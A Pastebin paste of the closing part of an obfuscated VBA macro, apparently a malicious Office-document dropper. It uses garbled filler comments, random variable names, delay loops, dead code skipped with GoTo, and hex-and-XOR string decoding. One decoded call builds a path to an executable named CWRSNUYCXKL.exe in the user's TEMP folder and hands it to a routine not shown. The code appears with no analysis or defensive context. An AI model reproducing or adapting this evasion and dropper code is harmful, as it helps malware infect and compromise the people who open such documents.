  2260. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2261.  
  2262. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2263. Dim XhztsmKR As Integer
  2264. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2265. Dim zhuqMNmZ As Integer
  2266. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2267. For zhuqMNmZ = 0 To 2
  2268. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2269. DoEvents
  2270. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2271. Next zhuqMNmZ
  2272. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2273. XhztsmKR = 3
  2274. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2275. Do While XhztsmKR < 73
  2276. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2277. Dim QoUiRlrp As Integer
  2278. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2279. For QoUiRlrp = 0 To 6
  2280. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2281. DoEvents
  2282. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2283. Next QoUiRlrp
  2284. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2285. DoEvents: XhztsmKR = XhztsmKR + 1
  2286. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2287. Dim yDZnlAaz As Integer
  2288. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2289. For yDZnlAaz = 0 To 3
  2290. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2291. DoEvents
  2292. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2293. Next yDZnlAaz
  2294. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2295. Loop
  2296. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2297.  
  2298. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2299. Dim bATfjNZT As Integer
  2300. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2301. For bATfjNZT = 0 To 7
  2302. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2303. DoEvents
  2304. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2305. Next bATfjNZT
  2306. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2307.    PZQGZXPGNNP ibjNKnpohnk, Environ(XORI(Hextostring("212F0925"), Hextostring("756A44756C7A"))) & XORI(Hextostring("2F3131341401262B253E0C035D171E03"), Hextostring("73726666474F"))
  2308. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2309.  
  2310. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  2311. End Sub
  2312.  
  2313. Public Function XORI(ByVal aOjaQe As String, ByVal YQKwYuGU As String) As String
  2314. Dim TGKkYVPifBY As Long
  2315. For TGKkYVPifBY = 1 To Len(aOjaQe)
  2316.  
  2317. GoTo AdqmhoNT
  2318. Dim uiLGZEKc As String
  2319. Open "YGNKIS.YSA" For Binary As 11
  2320. Dim IZsEyJFr, fcMVlsTW, yFPOplWv As String
  2321. IZsEyJFr = "           YTXGVU               "
  2322. fcMVlsTW = LTrim(IZsEyJFr)
  2323. yFPOplWv = RTrim(fcMVlsTW)
  2324.  
  2325. Put #11, , uiLGZEKc
  2326. Dim hefizprl, RLlSiWhz, urIYJlBx As String
  2327. hefizprl = "           VPUKQG               "
  2328. RLlSiWhz = LTrim(hefizprl)
  2329. urIYJlBx = RTrim(RLlSiWhz)
  2330.  
  2331. Close #11
  2332. Dim cvimYzOE, xpQuRrgz, IhcpyJld As String
  2333. cvimYzOE = "           PVKLRE               "
  2334. xpQuRrgz = LTrim(cvimYzOE)
  2335. IhcpyJld = RTrim(xpQuRrgz)
  2336.  
  2337. AdqmhoNT:
  2338.  
  2339. Dim nRBKkNhl, wTorQtDm, rqpNZcDP As String
  2340. nRBKkNhl = "           DLCLQA               "
  2341. wTorQtDm = LTrim(nRBKkNhl)
  2342. rqpNZcDP = RTrim(wTorQtDm)
  2343.  
  2344. XORI = XORI & Chr(Asc(Mid(YQKwYuGU, IIf(TGKkYVPifBY Mod Len(YQKwYuGU) <> 0, TGKkYVPifBY Mod Len(YQKwYuGU), Len(YQKwYuGU)), 1)) Xor Asc(Mid(aOjaQe, TGKkYVPifBY, 1)))
  2345. Next TGKkYVPifBY
  2346. End Function
  2347.  
  2348. Public Function Hextostring(ByVal tpBESoq As String) As String
  2349. Dim JEhxPkDxnS As String
  2350. Dim cbgQJ As String
  2351. Dim vIHYbeVuJCmUQr As Long
  2352. For vIHYbeVuJCmUQr = 1 To Len(tpBESoq) Step 2
  2353.  
  2354. GoTo YPYMQgEu
  2355. Dim sTfgVPmB As String
  2356. Open "GQGDUO.BED" For Binary As 49
  2357. Dim ERgldrvo, xWttrqDS, zHDbjTTE As String
  2358. ERgldrvo = "           EYCPZD               "
  2359. xWttrqDS = LTrim(ERgldrvo)
  2360. zHDbjTTE = RTrim(xWttrqDS)
  2361.  
  2362. Put #49, , sTfgVPmB
  2363. Dim YRTJvaQE, oHMQivmV, cTNhfpYY As String
  2364. YRTJvaQE = "           DOMKQR               "
  2365. oHMQivmV = LTrim(YRTJvaQE)
  2366. cTNhfpYY = RTrim(oHMQivmV)
  2367.  
  2368. Close #49
  2369. Dim pTkYCmaQ, wQrOborX, IJHSaCuu As String
  2370. pTkYCmaQ = "           PSAIAT               "
  2371. wQrOborX = LTrim(pTkYCmaQ)
  2372. IJHSaCuu = RTrim(wQrOborX)
  2373.  
  2374. YPYMQgEu:
  2375.  
  2376. Dim XTYfnPzl, JYHbWFvl, DUNQhLXm As String
  2377. XTYfnPzl = "           RRKSTS               "
  2378. JYHbWFvl = LTrim(XTYfnPzl)
  2379. DUNQhLXm = RTrim(JYHbWFvl)
  2380.  
  2381. JEhxPkDxnS = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(tpBESoq, vIHYbeVuJCmUQr, 2)))
  2382.  
  2383. GoTo fLMGFIDU
  2384. Dim uoQnTGzq As String
  2385. Open "YGXQOK.BZK" For Binary As 11
  2386. Dim fKCUddaJ, uoDlrljm, SrwDjFid As String
  2387. fKCUddaJ = "           XDGJZK               "
  2388. uoDlrljm = LTrim(fKCUddaJ)
  2389. SrwDjFid = RTrim(uoDlrljm)
  2390.  
  2391. Put #11, , uoQnTGzq
  2392. Dim DkZVDFqk, hZJKxsMQ, RlCwACyl As String
  2393. DkZVDFqk = "           HZLWLC               "
  2394. hZJKxsMQ = LTrim(DkZVDFqk)
  2395. RlCwACyl = RTrim(hZJKxsMQ)
  2396.  
  2397. Close #11
  2398. Dim bdfMPyct, cCJYIirE, PeEOpXuF As String
  2399. bdfMPyct = "           QKWYYT               "
  2400. cCJYIirE = LTrim(bdfMPyct)
  2401. PeEOpXuF = RTrim(cCJYIirE)
  2402.  
  2403. fLMGFIDU:
  2404.  
  2405. Dim lkIeBfVt, gkKglkwu, qlznDxLi As String
  2406. lkIeBfVt = "           HCLYJN               "
  2407. gkKglkwu = LTrim(lkIeBfVt)
  2408. qlznDxLi = RTrim(gkKglkwu)
  2409.  
  2410. cbgQJ = cbgQJ & JEhxPkDxnS
  2411. Next vIHYbeVuJCmUQr
  2412.  
  2413. GoTo ZpxYWmiI
  2414. Dim wndkSAxs As String
  2415. Open "DVPYSQ.DWQ" For Binary As 44
  2416. Dim dvLBvwbV, KlnlQHkH, QPktZCYl As String
  2417. dvLBvwbV = "           WEDNIX               "
  2418. KlnlQHkH = LTrim(dvLBvwbV)
  2419. QPktZCYl = RTrim(KlnlQHkH)
  2420.  
  2421. Put #44, , wndkSAxs
  2422. Dim eeayyYgI, TggNGrVz, LtmEWGpP As String
  2423. eeayyYgI = "           JPNJDN               "
  2424. TggNGrVz = LTrim(eeayyYgI)
  2425. LtmEWGpP = RTrim(TggNGrVz)
  2426.  
  2427. Close #44
  2428. Dim KItEUXPL, rFJYoOFr, hWEOQcJg As String
  2429. KItEUXPL = "           MEHVRN               "
  2430. rFJYoOFr = LTrim(KItEUXPL)
  2431. hWEOQcJg = RTrim(rFJYoOFr)
  2432.  
  2433. ZpxYWmiI:
  2434.  
  2435. Dim DZxVtVuq, OEYpbeRs, RRHwMuzf As String
  2436. DZxVtVuq = "           NZDRML               "
  2437. OEYpbeRs = LTrim(DZxVtVuq)
  2438. RRHwMuzf = RTrim(OEYpbeRs)
  2439.  
  2440. Hextostring = cbgQJ
  2441. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top